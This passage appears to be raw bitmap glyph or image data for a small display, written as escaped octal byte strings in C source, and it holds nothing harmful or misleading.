\"\\0\\0\\0\\200\\200\\300\\300\\340\\340\\360\\360\\370\\370||>>\\37\\37\\0\\70|\\374\\376\\376\\377\\357\\357\\307\\207\\207\\3\"\n  \"\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\17\\17\\37\\37>>||\\370\\370\\360\"\n  \"\\360\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\"\n  \"\\200\\200\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0<<<<\"\n  \"<<<<<<<<<<<<<<<<<<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37>>\"\n  \"||\\370\\370\\360\\360\\340\\340\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\"\n  \"\\203\\207\\307\\357\\357\\377\\376\\376\\374|\\70\\0\\340\\340\\360\\360\\370\\370||>>\\37\\37\\17\\17\\7\\3\\3\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\7\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\340\\360\\360\\360\\360\"\n  \"\\360\\360\\360\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\6\\7\\17\\37\\17\\3\\3\\1\\1\\1\\1\\1\\1\\3\\207\\377\\377\\377\\377\"\n  \"\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\370\\374\\376\\177\\77\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\7\\207\\207\\207\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\37\\77\\77\"\n  \"\\77\\37\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\376\"\n  \"\\177\\77\\17\\17\\7\\7\\7\\3\\7\\207\\207\\207\\217\\277\\376\\374\\370\\340\\0\\0\\377\\377\\377\\3\\0\\0\\0\\360\\374\\376\\376\\37\"\n  \"\\17\\17\\17\\17\\17\\207\\377\\377\\377\\377\\0\\0\\77\\377\\377\\374\\360\\300\\200\\1\\7\\17\\37\\37\\36\\36\\36\\36\\37\\17\\37\\37\"\n  \"\\37\\37\\0\\0\\0\\0\\1\\3\\7\\17\\17\\37\\37>>>><>>>\\36\\37\\17\\14\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\374\\377\\377\\377\\376\\370\\300\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\340\\374\\377\\377\\77\\7\\0\\3\\37\\177\\377\\377\\370\\340\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\"\n  \"\\377\\377\\37\\37\\36\\36\\36\\36\\36\\36\\37\\77\\377\\377\\377\\374\\340\\200\\0\\0\\77\\77\\77\\37\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\7\\37\\77\\77\\77< \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\3\\3\\3\\3\\3\\7\\7\\7\\7\\17\\37\\377\\377\\376\\374\\370\\0\\0\\0\\377\\377\\377\\377\\377xxxxx||\"\n  \"|\\374\\376\\377\\377\\377\\317\\207\\1\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\203\\377\\377\\377\"\n  \"\\377\\374\\0\\0\\77\\77\\77\\77\\77<<<<<<>>>>\\37\\37\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\376\\377\\177\\37\\17\\7\\7\\7\\3\\7\\7\\7\\17\\37\\177\\177\"\n  \"~<\\60\\0\\376\\377\\377\\377\\377\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\77\\377\\377\"\n  \"\\377\\374\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\200\\0\\0\\0\\0\\0\\3\\7\\17\\17\\37\\37\\77>>\"\n  \">>>>\\37\\37\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\3\\3\\3\\3\\7\\7\\7\\7\\17\\37\\177\\377\\376\\374\\370\\340\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\1\\377\\377\\377\\377\\377\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\377\\377\\377\"\n  \"\\77\\7\\0\\0\\77\\77\\77\\77\\77<<<>>>>>\\37\\37\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\377\\377\\377\\377\\377xxxxxxxxxxxxx\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77<<<<<<\"\n  \"<<<<<<<<<<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\377\\377\\377\\377\\377xxxxx\"\n  \"xxxxxxx\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\"\n  \"\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\300\\360\\374\\376\\377\\77\\37\\17\\7\\7\\7\\7\\7\\7\\7\\17\\17\\77\\177\"\n  \"><\\30\\0\\376\\377\\377\\377\\377\\1\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\7\\177\\377\\377\"\n  \"\\377\\374\\340\\200\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\377\\377\\377\\377\\377\\0\\0\\0\\0\\3\\7\\17\\17\\37\\37>>>\"\n  \">>>>>\\37\\37\\37\\17\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377xxxxxx\"\n  \"xxxxx\\377\\377\\377\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<<<<<<\\77\\77\\77\\77\"\n  \"\\77<<<<<<<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\3\\3\\3\\3\\3\\3\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\200\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\6\\17\\17\\37\\37>>>>>>\\37\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300@\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\200\\300\\300\\300\\300\\300@\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\200\\300\\360\\370\\374\\376\\77\\37\\17\\7\\3\"\n  \"\\1\\0\\0\\0\\377\\377\\377\\377\\377\\370|~\\377\\377\\377\\347\\203\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\1\\3\\17\\37\\177\\377\\376\\370\\360\\340\\200\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\3\\7\\37\\77\\77\\77<\\70\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77<<<<<<<<<<<<<<<<\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\300\\0\\377\\377\\377\\377\\377\\376\\370\\340\\200\\0\\0\\0\\0\\0\\200\\340\\370\\376\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\1\\7\\37\\177\\376\\370\\340\\370\\376\\77\\37\\7\\1\\377\\377\\377\\377\\377\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\1\\7\\7\\3\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\177\\376\\370\\340\\300\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\377\\377\\377\\377\\377\\0\\1\\7\\37\\177\\377\\374\"\n  \"\\360\\300\\200\\0\\0\\377\\377\\377\\377\\377\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\1\\3\\17\\77\\377\\376\\370\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\340\\360\\374\\376\\377\\77\\37\\17\\7\\7\\7\\7\\7\\7\\17\\37\\77\\377\\376\\374\"\n  \"\\370\\340\\0\\0\\377\\377\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\377\\377\\377\\377\\377\\0\\77\\377\\377\\377\"\n  \"\\374\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\377\\177\\17\\0\\0\\0\\3\\7\\17\\17\\37\\37>>><\"\n  \">>\\77\\37\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\3\\3\\3\\3\\3\\3\\3\\7\\7\\7\\17\\77\\377\\377\\376\\374\\360\\0\\0\\377\\377\\377\\377\\377\\360\\360\\360\\360\\360\\360\"\n  \"\\360\\360\\360\\370\\370\\376\\177\\177\\77\\17\\3\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\"\n  \"\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\376\\377\\77\\37\\17\\7\\7\\7\\7\\7\\7\\17\\37\\77\\377\\376\\374\"\n  \"\\370\\340\\0\\0\\377\\377\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\377\\377\\377\\377\\377\\0\\177\\377\\377\\377\"\n  \"\\374\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\377\\177\\17\\0\\0\\1\\3\\7\\17\\37\\77\\77>\\374\\374\\374\"\n  \"\\374>>\\37\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\37\\37\\36\\36\\36\\36\\36\\36\"\n  \"\\36\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\3\\3\\3\\3\\3\\3\\7\\7\\7\\17\\37\\377\\377\\376\\374\\360\\0\\0\\0\\377\\377\\377\\377\\377\\360\\360\\360\\360\\360\\360\"\n  \"\\360\\360\\360\\370\\374\\177\\77\\77\\17\\3\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\1\\7\\37\\177\\377\\376\\370\\340\\200\"\n  \"\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\77\\77><\\60\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\360\\374\\376\\377\\377\\37\\17\\7\\7\\7\\3\\7\\7\\7\\17\\37\\77\\77\\36\"\n  \"\\4\\0\\0\\0\\0\\1\\7\\17\\37\\37\\77>||x\\370\\360\\360\\360\\340\\340\\300\\300\\200\\0\\0\\0\\0\\0\\200\\340\\300\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\307\\377\\377\\377\\377\\374\\0\\0\\3\\7\\17\\17\\37\\37\\36>>><>\"\n  \">>>\\37\\37\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\3\\3\\3\\3\"\n  \"\\3\\3\\3\\3\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300@\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\177\\377\\377\\377\"\n  \"\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\377\\377\\377\\377\\177\\0\\0\\0\\1\\7\\17\\17\\37\\37\\77>>>>\"\n  \">>\\77\\37\\37\\17\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\300@\\7\\77\\377\\377\"\n  \"\\377\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\177\\17\\3\\0\\0\\0\\1\\7\\77\\377\\377\\376\\360\\200\\0\\0\"\n  \"\\0\\200\\360\\377\\377\\377\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\177\\377\\377\\374\\340\\374\\377\\377\\77\\7\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\77\\77\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\377\\377\\377\\377\\300\\0\\0\\0\\0\\340\\376\\377\\377\\370\\200\\0\\0\\0\\200\\377\"\n  \"\\377\\377\\377\\3\\3\\377\\377\\377\\377\\360\\0\\360\\377\\377\\77\\7\\177\\377\\377\\374\\300\\200\\377\\377\\377\\77\\0\\0\\0\\0\\77\\377\"\n  \"\\377\\377\\377\\377\\77\\3\\0\\0\\0\\7\\177\\377\\377\\377\\377\\377\\17\\0\\0\\0\\0\\0\\0\\17\\77\\77\\77\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\7\\77\\77\\77\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\0\\0\\0\\1\\7\\37\"\n  \"\\177\\377\\376\\370\\360\\300\\0\\0\\200\\340\\370\\376\\377\\177\\37\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\217\\377\\377\\377\\376\"\n  \"\\377\\377\\337\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\377\\177\\37\\7\\7\\17\\77\\377\\377\\374\\360\\340\\200\"\n  \"\\0\\0\\0\\0\\60<\\77\\77\\77\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37\\77\\77>\\70\\60\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\0\\1\\7\\37\\177\\377\\377\\374\\360\\300\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\77\"\n  \"\\17\\3\\0\\0\\0\\0\\0\\0\\1\\7\\37\\177\\377\\377\\374\\360\\370\\376\\377\\177\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\"\n  \"\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\3\\3\\3\"\n  \"\\3\\3\\3\\3\\3\\3\\3\\3\\3\\303\\343\\373\\377\\377\\177\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\376\"\n  \"\\377\\177\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\376\\377\\177\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0<>\\77\\77\\77\\77\\77<<<<<<<<<<<<<>>\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\360\\360\\360\\360\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\200\\200\\200\"\n  \"\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\0\\0\\0\\0\\0`\\340\\360\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\"\n  \"\\37\\377\\377\\376\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\376\"\n  \"\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\376\\360\\300\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\37\\177\\377\\377|p\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\360\\360\\360\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  